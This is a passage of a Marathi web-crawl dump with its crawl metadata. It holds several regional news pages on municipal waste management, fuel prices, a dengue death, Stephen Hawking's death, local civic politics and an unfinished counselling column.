आहेत असे किती कचरा निर्माते आहेत असे किती कचरा निर्माते आहेत त्यांच्याकडून किती कचर्‍यावर प्रक्रिया केली जाते त्यांच्याकडून किती कचर्‍यावर प्रक्रिया केली जाते याची माहिती मनपाने दिलेली नाही. शहरात किती कचरा वेचक आहेत याची माहिती मनपाने दिलेली नाही. शहरात किती कचरा वेचक आहेत मोठ्या गृहनिर्माण संस्था किती आहेत मोठ्या गृहनिर्माण संस्था किती आहेत ‘बायोमायनिंग’साठी किती कचरा शिल्लक आहे ‘बायोमायनिंग’साठी किती कचरा शिल्लक आहे त्याचे सर्वेक्षण करुन माहिती द्यावी. यासह बायोगॅस प्रकल्पाचे अंदाजपत्रक मनपाकडून प्रकल्प अहवालात सादर करण्यात आलेले नाही. या सवर त्रुटींची पूर्तता करुन पुन्हा प्रकल्प अहवाल सादर करावा, असे आदेश मनपाला देण्यात आलेले आहेत.\nदरम्यान, शासनाकडून दिला जाणारा इतर व वित्त आयोगाच्या निधीतून लिटरबिन्स खरेदी करुन नये, असे आदेश शासनाने यापूर्वीच दिलेले आहेत. आता स्वच्छ महाराष्ट्र अभियानांतर्गत सादर केलेल्या प्रकल्प अहवालातही याचा समावेश करु नये, असे बजावले आहे. ढकल गाड्यांचाही समावेश अहवालात नाकारण्यात आला असल्याने मनपाकडून सध्या प्रस्तावित असलेली लिटरबिन्स व ढकलगाड्यांची खरेदी ही मनपाला स्वनिधीतूनच करावी लागणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/historical-deaths-of-popular-personalities-in-a-weird-way/", "date_download": "2018-09-25T17:33:06Z", "digest": "sha1:WFZN5AMIDKPCXUVPNOJHIXG64XCY6MWU", "length": 6266, "nlines": 42, "source_domain": "www.pudhari.news", "title": " 'या' व्यक्तींच्या मृत्यूच्या घटना इतिहासात अजरामर! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › 'या' व्यक्तींच्या मृत्यूच्या घटना इतिहासात अजरामर\n'या' व्यक्तींच्या मृत्यूच्या घटना इतिहासात अजरामर\nनवी दिल्ली: पुढारी ऑनलाईन\nपृथ्वीतलावर अनेक घटना अशा घडल्या आहेत त्या अजुनही स्मरणात आहेत. अनेक रहस्यमय गोष्टींचा उलगडा आजही झालेला नाही. काही अशा रहस्यमय घटना आहेत की, त्या समजल्यावर तुम्ही थोडे संभ्रमात पडाल... तर जाणून घ्या त्या रहस्यमयी गूढ अशा मृत्यूच्या घटना...\nअति जेवणामुळे मृत्यू झाला\nअठराव्या शतकामधील स्वीडनचा राजा अडॉल्फ फ्रेडरिक यांचा मृत्यू अति जेवणामुळे झाला. मृत्यूच्या वेळी त्यांचे वय ६० होते. मृत्यूपूर्वी ते इतके जेवले होते की त्यांचे ते खाणे पाहून सर्वांच्या भुवया उंचावल्या होत्या. कुणालाही वाटले नव्हते त्यांच्या अशा अति खाण्यामुळे मृत्यू झाला.\nदाढीमुळे मृत्यू असे वाचल्यावर आचंबीत व्हाल पण हे सत्य आहे. सोळाव्या शतकामध्ये हंस स्टिनिंगर ही व्यक्ती लांब दाढीमुळे ओळखले जात होते. त्यांची दाढी ४.५ फूट इतकी लांब होती. ते नेहमी दाढी गुंडाळून खिशात ठेवत असत. एका आगीच्या घटनेदरम्यान आपला जीव वाचवण्यासाठी धावताना त्यांच्या लांब दाढीवरूनच पाय घसरला. त्यातच त्यांचा मृत्यू झाला.\nप्रात्यक्षिक दाखवताना झाला मृत्यू\nअमेरिकेमध्ये सिविल वॉरच्या दरम्यान ओहियो नेता क्लीमेंट लायर्ड व्लांदिगम यांचा मृत्यू झाला. ते एका खूनाच्या केसचा तपास करत होते. तेव्हा क्लिमेंट हे खून कसा झाला असावा याचे प्रात्यक्षिक दाखवत होते. यावेळी स्वतःच्याच हातून पिस्तुलमधुन गोळी सुटली आणि त्यांचर मृत्यू झाला.\nअमेरिकेची लोकप्रिय डान्सर इस्दोरा डंकन हिचा मृत्यू स्कार्फमुळे झाला. ज्या स्कार्फमुळे मृत्यू झाला तो स्कर्फ तिला भेट म्हणून देण्यात आला होता. प्रवासा दरम्यान तिचा स्कार्फ गाडीच्या चाकामध्ये अडकला आणि तिचा मृत्यू झाला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/agralekh/page/30", "date_download": "2018-09-25T17:17:47Z", "digest": "sha1:QUGBLHX2JUGK4VPRDERCZI3TWHZCUQTN", "length": 8734, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "संपादकिय / अग्रलेख Archives - Page 30 of 264 - तरुण भारत | तरुण भारत", "raw_content": "\nपॉपकॉर्न याने कि गरम लाही\nपूर्वी एका मासिकात विविध कथांच्या किंवा लेखांच्या शेवटी उरलेल्या जागेत पानपूरके म्हणून विनोद छापले जात. त्या पानपूरकांना ‘पॉपकॉर्न याने कि गरम लाही’ असे शीर्षक दिलेले असे. विविध प्रकारच्या साहित्याचा आस्वाद घेत असताना मध्येच विरंगुळा म्हणून हे विनोद छान वाटायचे. आणि त्यांचे महत्त्व तितकेच होते. मुख्य मजकुराच्या शेवटी उरलेली जागा हेच त्यांचे स्थान होते. अग्रलेखाच्या जागी किंवा मुखपृ÷ावर कोणी हा ...Full Article\nशरदऋतूच्या पौर्णिमेची रात्र आली. नामदेवराय वर्णन करतात – लोपतां आदित्य पडे चंद्रप्रभा वृंदावनीं शोभा सुशोभित देहुडा पाउलीं उभा तये वनीं वेणू चक्रपाणी वाजवितो ऐकतांचि नाद गोकुळींच्या नारी\nपावसाळी अधिवेशनानंतर राजकीय भूकंप \nनागपूर येथे सुरू असलेल्या राज्य विधिमंडळाच्या पावसाळी अधिवेशनात शिवसेनेने नाणार रिफायनरी प्रकल्प रद्द झाला पाहिजे या मागणीवरून भाजपच्याविरोधात आक्रमक भूमिका घेतल्याने नाणार होणार का, जाणार तसेच शिवसेना सत्तेत राहणार ...Full Article\nवाळूचा व्यापार आणि पर्याय\nसर्वसाधारणपणे वाळूचे तीन प्रमुख प्रकार आहेत. वाळवंटातील वाळू गोल आकाराची असते. त्यामुळे बांधकाम व्यवसायासाठी त्याचा वापर होत नाही. पण काही अपरिहार्य कारणासाठी वाळवंटातील वाळू बांधकामासाठी अलीकडे वापरली जाते. समुद्रातील ...Full Article\nमहाराष्ट्रात दूध तापते आहे. ओतू जाऊ देऊ नका असे आम्ही अग्रलेखातून सुचवले होते. स्वाभिमानी शेतकरी संघटनेने दूधप्रश्नी सरकारला गेले काही दिवस धारेवर धरले आहे. सरकारने पुणे मुक्कामी बैठक घेऊन ...Full Article\nत्या देशातली किंबहुना बाहेरच्या जगातली-माणसे विचित्रच आहेत. गेल्या महिन्यात तिथे एक विचित्र अपघात घडला. बारा अल्पवयीन फूटबॉल खेळाडूंचा संघ खेळाचा सराव केल्यानंतर आपल्या प्रशिक्षकासह एक गुहा पहायला गेला. गुहेत ...Full Article\nगोपींच्या मनोवस्थेची एक अस्पष्टशी झलक आजही आपल्याला पंढरीनाथाला भेटायला आतूर झालेल्या वारकऱयाला पाहून, अनुभवायला मिळते. आषाढी एकादशी जशी जशी जवळ यायला लागते तसा तसा हाडाचा वारकरी मनातून अस्वस्थ व्हायला ...Full Article\nभाजपमधील असंतोष लवकरच बाहेर यायला सुरुवात हाईल. मोदी-शहा जोडगोळी तोडून पंतप्रधानाना कमजोर करण्याचा हा बेत कितपत यशस्वी होईल ते आत्ताच सांगता येत नाही. पण भाजपमध्ये सारे काही आलबेल नाही. ...Full Article\nकाहीही शिकण्यासाठी लक्ष देणे, अवधान देणे आवश्यक असते. मनुष्याच्या दैनंदिन जीवनात विविध गोष्टी, परिस्थिती त्याचे लक्ष वेधत असतात व मनुष्य त्यांच्यासंबंधी शिकत असतो, ज्ञान मिळवत असतो व त्या ज्ञानाच्या ...Full Article\nसत्तेची नशा माणसाला काहीही बोलायला आणि काहीही करायला भाग पाडते. भारतीय राजकारणात अशी अनेक उदाहरणे ताजी असताना त्यात भर असणाऱया जम्मू आणि काश्मिरच्या माजी मुख्यमंत्री मेहबुबा मुफ्ती पुन्हा एकदा ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/BUS-SHA-UTLT-petrol-price-can-be-cut-by-rs-25-per-litre-says-p-chidambaram-5878987-PHO.html", "date_download": "2018-09-25T16:59:11Z", "digest": "sha1:NADE7NUMF53AFQR7LYLCXVPZTOZOTKZL", "length": 5042, "nlines": 51, "source_domain": "m.divyamarathi.bhaskar.com", "title": "petrol price can be cut by rs 25 per litre says p chidambaram | सरकारची इच्छा असल्यास पेट्रोल 25 रूपयांनी स्वस्त होऊ शकते: पी. चिदंबरम", "raw_content": "\nसरकारची इच्छा असल्यास पेट्रोल 25 रूपयांनी स्वस्त होऊ शकते: पी. चिदंबरम\nदेशातील पेट्रोलचे दर सरकारची इच्छा असल्यास 25 रूपयांपर्यंत कमी होऊ शकतात, असा दावा काँग्रेसचे ज्येष्ठ नेते आणि माजी अर्थ\nनवी दिल्ली- देशातील पेट्रोलचे दर सरकारची इच्छा असल्यास 25 रूपयांपर्यंत कमी होऊ शकतात, असा दावा काँग्रेसचे ज्येष्ठ नेते आणि माजी अर्थमंत्री पी.चिदंबरम यांनी केले आहे. इतकी कपात करता येणे शक्य असले तरी सरकार या दिशेने पाऊल उचलत नसल्याचा आरोप त्यांनी केला. वाढत्या इंधन दरावर त्यांनी सलग ट्विट करत मोदी सरकारवर टीका केली.\nपेट्रोलचे दर 25 रूपयांपर्यंत कमी होऊ शकतात. पण सरकार असे करणार नाही. ते पेट्रोलचे दर 1 किंवा 2 रूपयांनी कमी करून लोकांची दिशाभूल करतील, असे ट्विट त्यांनी केले. गत नऊ दिवसांपासून पेट्रोल आणि डिझेलच्या किंमतीत सातत्याने वाढ होत आहे. चिदंबरम म्हणाले की, केंद्र सरकार प्रत्येक एक लिटरमागे 25 रूपये जास्त घेत आहे. हा थेट नागरिकांचा पैसा आहे. क्रूड ऑईलच्या किमतीवर सरकार एका लिटरमागे 15 रूपये वाचवत आहे. त्यानंतर ते 10 रूपयांचा अतिरिक्त कर लावत असल्याचे ते म्हणाले.\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/girl-die-dengue-128569", "date_download": "2018-09-25T17:49:55Z", "digest": "sha1:6KVKWSI564RDW7AARREXJCCNB4VN4KEF", "length": 13110, "nlines": 179, "source_domain": "www.esakal.com", "title": "girl die in dengue वाढदिवशीच डेंग्यूने घेतला बळी | eSakal", "raw_content": "\nवाढदिवशीच डेंग्यूने घेतला बळी\nगुरुवार, 5 जुलै 2018\nगोंडपिपरी (जि.चंद्रपूर) : अभियांत्रीकीचे (बिई) शिक्षण पुर्ण करून गावातील आपल्या घरी आलेल्या तरूणीला तापाने घेरले. तपासणीअंती तो डेंग्यू असल्याचे स्पष्ट झाले. उपचारासाठी चंद्रपूरहून नागपूर नेण्यात आले. परंतु तिचा दुर्दैवी अंत झाला. वाढदिवसच मृत्यूदिवस ठरलेल्या तरूणीवर पाणावलेल्या डोळ्यांनी अंत्यसंस्कार करण्याची वेळ पालकावर आली. गोंडपिपरी तालूक्यातील चेकघडोली गावात आज शेकडो नागरिकांचा हा प्रसंग बघतांना आपसूकच डोळे पाणावले.\nगोंडपिपरी (जि.चंद्रपूर) : अभियांत्रीकीचे (बिई) शिक्षण पुर्ण करून गावातील आपल्या घरी आलेल्या तरूणीला तापाने घेरले. तपासणीअंती तो डेंग्यू असल्याचे स्पष्ट झाले. उपचारासाठी चंद्रपूरहून नागपूर नेण्यात आले. परंतु तिचा दुर्दैवी अंत झाला. वाढदिवसच मृत्यूदिवस ठरलेल्या तरूणीवर पाणावलेल्या डोळ्यांनी अंत्यसंस्कार करण्याची वेळ पालकावर आली. गोंडपिपरी तालूक्यातील चेकघडोली गावात आज शेकडो नागरिकांचा हा प्रसंग बघतांना आपसूकच डोळे पाणावले.\nगोंडपिपरी तालूक्यातील चेकघडोली गावात गेल्या पंधरा दिवसापासून तापाची साथ सूरू आहे. आरोग्य विभागाचे याकडे लक्ष नाही. ग्रामपंचायत प्रशासन केवळ आर्थीक मिळकतीत गूंग आहे. काही जागृक मंडळींनी या महत्वाच्या प्रश्नाकडे लक्ष वेधले. पण कुणाकडेही वेळ नाही. आशात गावात अनेक कुटुंबीय तापाच्या विळख्यात सापडले. काहींना डेंग्यूची लागण झाल्याचा निष्कर्ष गोंडपिपरीच्या डॉक्टरांनी काढला.\nआजघडीला गावातील पन्नासहून आधीक जण तापाने त्रस्त आहेत.\nआपल्या शासकीय नौकरीची सेवा पुर्ण करुन भाऊराव कोटनाकै, हे चेकघडोली या आफल्या गावी स्थायीक झाले. त्यांची प्रतीक्षा नावाची मुलीने चंद्रपुरला बिई ईलेक्ट्रानिक चे शिक्षण पुर्ण केले. गावात काही दिवस निवांत राहून पुढील निर्णय घेऊ हा तिचा विचार होता.\nपण गावात तापाची साथ आली. अन तपासणीनंतर तिला डेंग्यु झाल्याचे स्पष्ट झाले. चंद्रपुरला उपचारानंतर तिला नागपुरला हलविण्यात आले. उपचारादरम्यन तिचे निधन झाले. 5 जुलै रोजी प्रतीक्षाचा वाढादिवस होता. याच दिवशी तिच्यावर आंतीम संस्कार करण्याची दुर्दैवी वेळ पालकांवर आली. यावेळी उपस्थीतांनाही अश्रु आवरणे कठीण झाले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00203.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/International/Physicist-Stephen-Hawking-dies-aged-76/", "date_download": "2018-09-25T17:41:20Z", "digest": "sha1:AWMACXMCNEMNWVYP4XAFWTOG6WOMGH2E", "length": 7006, "nlines": 43, "source_domain": "www.pudhari.news", "title": " जगप्रसिद्ध भौतिकशास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › International › जगप्रसिद्ध भौतिकशास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\nजगप्रसिद्ध भौतिकशास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\nजगप्रसिद्ध भौतिकशास्त्रज्ञ स्टीफन हॉकिंग यांचे वयाच्या 76 वर्षी राहत्या घरी निधन झाले. स्टीफन हॉकिंग यांचा जन्म 8 जानेवारी 1942 रोजी इंग्लंडमधील ऑक्सफर्ड येथे झाला. त्याचे वडील डॉ.फ्रँक हॉकिंग जीवशास्त्राचे संशोधक होते. तर आई इझाबेल या पदवीधर होत्या. दुसऱ्या महायुद्धाच्या काळात हॉकिंग दापंत्य उत्तर लंडनहून ऑक्सफर्डला आले.\nवाचा : Stephen Hawking Dies : अफाट इच्छाशक्तीचे दुसरे नाव स्टीफन हॉकिंग\nवाचा : जाणून घ्या स्टीफन यांच्याबद्दलच्या खास गोष्टी\nस्टीफन यांना लहानपणापासून वाचनाची आवड होती. गणित विषयात विशेष आवड असलेल्या स्टीफन यांनी 17व्या वर्षी कॉसमॉलॉजी या विषयात स्कॉलरशिप सुद्धा मिळवली. 1962मध्ये त्यांनी ऑक्सफर्ड विद्यापीठातून पदवी घेतली आणि पुढील उच्च शिक्षणासाठी केंब्रिज विद्यापीठात प्रवेश घेतला. 1962च्या हिवाळी सुट्ट्यांमध्ये घरी असताना त्यांना त्रास होऊ लागला. डॉक्टरांना देखील रोगाचे अचूक निदान सापडत नव्हते. 8 जानेवारी 1963ला म्हणजेच वयाच्या 21व्या वर्षी स्टीफन यांना मोटर न्यूरॉन डिसीज हा असाध्य रोग झाल्याचे स्पष्ट झाले. या रोगामुळे शरीरातील स्नायूंवरचे नियंत्रण संपते. स्टीफन जास्ती जास्त दोन वर्ष जगतील असे डॉक्टरांनी सांगितले होते. पण त्यानंतर या अवलियाने व्हील चेअरवर बसून फक्त एक बोट वापरून सैद्धांतिक भौतिकशास्त्रात भरीव असे योगदान दिले.\n> 'अ ब्रिफ हिस्टरी ऑफ टाईम' या ग्रंथाने त्यांना जगबरात लोकप्रियता मिळवली\n> विश्वशास्त्र (कॉस्मॉलॉजी) आणि पुंज गुरुत्व (क्वांटम ग्रॅव्हिटी) या दोन शाखांमध्ये कृष्णविवरांच्या संदर्भात त्यांनी मोठे योगदान दिले.\n> ऑक्सफर्ड विद्यापीठ, प्रिन्स्टन विद्यापीठ, न्यूयॉर्क विद्यापीठ, लँकेस्टर विद्यापीठ या विद्यापीठांनी डॉक्टरेट दिली\n> स्टीफन हॉकिंग यांच्या जीवनावर The Theory of Everything हा चित्रपट 2014मध्ये प्रदर्शित झाला होता.\n> २००९ मध्ये 'प्रेसिडेन्शीअल मेडल फॉर फ्रीडम' हा अमेरिकेतील सर्वोच्च नागरी सन्मान मिळाला\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00203.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%AF%E0%A5%80%E0%A4%A4-%E0%A4%95%E0%A5%8B%E0%A4%A3%E0%A4%BE%E0%A4%9A%E0%A5%80-%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%A3%E0%A5%80-%E0%A4%89%E0%A4%A4%E0%A5%8D/", "date_download": "2018-09-25T17:59:33Z", "digest": "sha1:JOUSNP3S62ZM4LIWSSPP66DUP7GR4FCJ", "length": 5450, "nlines": 69, "source_domain": "pclive7.com", "title": "स्थायीत कोणाची वर्णी; उत्सुकता शिगेला..! (पहा व्हिडीओ) | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड स्थायीत कोणाची वर्णी; उत्सुकता शिगेला..\nस्थायीत कोणाची वर्णी; उत्सुकता शिगेला..\nपिंपरी (Pclive7.com):- श्रीमंत महापालिका म्हणून नावलौकीक असलेल्या पिंपरी चिंचवड महापालिकेच्या तिजोरीच्या चाव्या कोणाकडे जाणार याची उत्सुकता शिगेला पोहचली आहे… उद्या स्थायी समितीच्या नवीन सदस्यांची निवड केली जाणार असून त्यातून अध्यक्ष निवडला जाणार आहे.. त्यामुळे अनेक दिग्गजांनी देव पाण्यात ठेवले आहेत..\nTags: bjpPCLIVE7.COMPcmc newsचिंचवडपिंपरीमहापालिकासदस्यस्थायी समिती\nनिगडीत १७ मार्चला लहान मुलांसाठी अस्थिव्यंग चिकित्सा व शस्त्रक्रिया शिबिर\n“काही बोलायचे नाही, सरकार पारदर्शक आहे”, सोशल मिडीयावरून भाजपच्या कारभारावर राष्ट्रवादीची सडकून टिका\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00204.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.esakal.com/sampadakiya/sapna-sharma-article-41839", "date_download": "2018-09-25T17:58:06Z", "digest": "sha1:S4TNHJWUW65RQDTG3CAONFIW3PAHKQLG", "length": 14759, "nlines": 171, "source_domain": "www.esakal.com", "title": "sapna sharma article अनाठायी संकोच | eSakal", "raw_content": "\nमंगळवार, 25 एप्रिल 2017\nएखाद्या अनोळखी ठिकाणी वाट चुकणे स्वाभाविक आहे; परंतु मला बरीच अशी मंडळी भेटतात की ज्यांना ‘कुणाला तरी विचारून घेऊ’ असं सुचवलं की हमखास राग येतो. ‘मी शोधतोय ना मग कशाला कुणाला विचारायला हवं मग कशाला कुणाला विचारायला हवं’ कितीही मौल्यवान वेळ गेला किंवा त्रास झाला तरीही ही मंडळी कुणाचीही मदत घ्यायला तयार नसतात.\nएखाद्या अनोळखी ठिकाणी वाट चुकणे स्वाभाविक आहे; परंतु मला बरीच अशी मंडळी भेटतात की ज्यांना ‘कुणाला तरी विचारून घेऊ’ असं सुचवलं की हमखास राग येतो. ‘मी शोधतोय ना मग कशाला कुणाला विचारायला हवं मग कशाला कुणाला विचारायला हवं’ कितीही मौल्यवान वेळ गेला किंवा त्रास झाला तरीही ही मंडळी कुणाचीही मदत घ्यायला तयार नसतात.\nमाझ्याकडे समुपदेशनासाठी येणारी बरीच मंडळी कुणा नातेवाइकांसाठी किंवा मित्रासाठी मदत मागायला येतात. ते पीडित व्यक्तीला जबरदस्तीने आणायलाही तयार असतात; परंतु मला त्यांना सांगावं लागतं, की ‘जोपर्यंत ती व्यक्ती स्वतःच स्वतःला मदत करायला तयार नसेल तोपर्यंत कुणीही तिला मदत करू शकत नाही.’ हेच आयुष्यातील मोठं सत्य आहे.\nसर्व प्रकारच्या समस्यांवर प्रत्येकाकडे उपाय नसतात. बरेचदा त्या समस्येचा आकारच इतका मोठा असतो की ते पाहूनच भल्याभल्यांचे त्राण नाहीसे होते. त्याशिवाय बऱ्याच ठिकाणी सामाजिक प्रतिष्ठा किंवा पैसा पणाला लागलेला असतो; तर कुठे कुठे महत्त्वाची नाती त्रिशंकूसारखी टांगलेली असतात. अशा वेळी कुठलाही एक उपाय उपयुक्त ठरेल, अशी हमी नसते आणि शक्‍य असलेले उपाय आपण कितपत अमलात आणू शकतो, याबद्दलही शंका असू शकते.\nअशा वेळी कुणीतरी समजूतदार, निःपक्षपाती, जाणकार व्यक्ती आपल्या समस्येकडे नव्या नजरेने पाहून आपल्याला ते दाखवू शकते, जे आपण आपल्या जागेवरून पाहण्यास असमर्थ असतो. कुणीतरी ती मदत करू शकतो, ज्याच्याशिवाय आपण कदाचित पुढे सरकूच शकत नाही. काहीच नाही तर अशा कठीण वेळी 